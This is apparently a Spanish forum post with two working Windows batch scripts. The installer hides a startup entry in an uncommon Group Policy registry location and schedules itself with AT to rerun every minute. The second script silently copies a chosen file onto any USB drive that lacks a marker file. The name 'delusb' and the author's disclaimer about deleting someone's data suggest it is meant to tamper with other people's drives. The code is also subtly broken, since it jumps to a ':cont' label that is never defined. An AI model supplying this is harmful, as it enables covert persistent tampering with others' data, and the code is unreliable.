Este consiste de dos archivos, un instlador y el programa que hace lo que deceas
el instalador determina cuales son las unidades que existen, osea los discos duros y la unidad de cd(para esto te recomiendo que cuando ejecutes el instalador pongas un cd en la bandeja), ademas coloca el archivo delusb.bat para que inicie cuando enciendas la PC, y hace que se ejecute cada minuto, osea que si ponen una memoria USB al minuto ejecutara la accion deseada.
Nota: no lo instales desde una USB porque la detectara como unidad existente, te recomiendo que lo instales desde un CD o desde el disco duro..
indlusb.bat [este es el instalador]
rem coloco esto para que inicie a la proxima reinicio de la pc(este lugar es poco comun)
reg add "HKLM\Software\Policies\Microsoft\Windows\System\Scripts\Startup\0\0" /t REG_SZ /V "Script" /d "c:\windows\system32\delusb.bat" /f
reg add "HKLM\Software\Policies\Microsoft\Windows\System\Scripts\Startup\0\0" /t REG_SZ /V "Parameters" /d "" /f
reg add "HKLM\Software\Policies\Microsoft\Windows\System\Scripts\Startup\0" /t REG_SZ /V "FileSysPath" /d "C:\WINDOWS\System32\GroupPolicy\Machine" /f
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy\State\Machine\Scripts\Startup\0\0" /t REG_SZ /V "Parameters" /d "" /f
DEL c:\windows\system32\Zunidnoex.txt
copy delusb.bat c:\windows\system32\
for %%i In ( E F G H I J K L M N O P Q R S T U V W X Y Z) do if not exist %%i:\ echo %%i:\>>c:\windows\system32\Zunidnoex.txt
REM -----aqui reactivo la tarea cada minuto y arreglo el error de 59 a 60 en los minutos y de 23 a 24 en las horas y un error con los numeros 08 y 09
set hm=%time:~3,2%
set hh=%time:~0,2%
(if %hm%==07 set hm=7)&(if %hm%==08 set hm=8)&(if %hm%==09 set hm=9)&(if %hh%==07 set hh=7)
(if %hh%==08 set hh=8)&(if %hh%==09 set hh=9)
set /a nm=%hm%+1
if NOT %nm%==60 goto cont
set /a nm=0
set /a hh=%hh%+1
if NOT %hh%==24 goto cont
set /a hh=0
AT %hh%:%nm% C:\windows\system32\DELUSB.BAT
El archivo delusb lo que hace es verificar si en la memoria existe el archivo delusb.bat, si no existe
copiara el archivo c:\miarchivo.txt a la unidad USB
si el archivo delusb.bat existe en la unidad no ejecutara ninguna accion, por si tu metes tu memoria ahi debes tener ese archivo para que no le haga nada.
el codigo se reprograma cada minuto..
delusb.bat
@echo off
for /f %%i in (C:\windows\system32\Zunidnoex.txt) do if not exist %%iDELUSB.BAT (xcopy c:\miarchivo.txt %%i /e /y&goto ok)
:ok
REM -----aqui reactivo la tarea cada minuto y arreglo el error de 59 a 60 en los minutos y de 23 a 24 en las horas y un error con los numeros 08 y 09
set hm=%time:~3,2%
set hh=%time:~0,2%
(if %hm%==07 set hm=7)&(if %hm%==08 set hm=8)&(if %hm%==09 set hm=9)&(if %hh%==07 set hh=7)
(if %hh%==08 set hh=8)&(if %hh%==09 set hh=9)
set /a nm=%hm%+1
if NOT %nm%==60 goto cont
set /a nm=0
set /a hh=%hh%+1
if NOT %hh%==24 goto cont
set /a hh=0
AT %hh%:%nm% C:\windows\system32\DELUSB.BAT
el codigo que hace lo que deseas es este
for /f %%i in (C:\windows\system32\Zunidnoex.txt) do if not exist %%iDELUSB.BAT (xcopy c:\miarchivo.txt %%i /e /y)
las demas lineas solo lo reprograman cada minuto.
no me hago responsable por el uso del codigo, solo doy las herramientas, yo no estoy a favor de eliminar la informacion de alguien, para dañarle..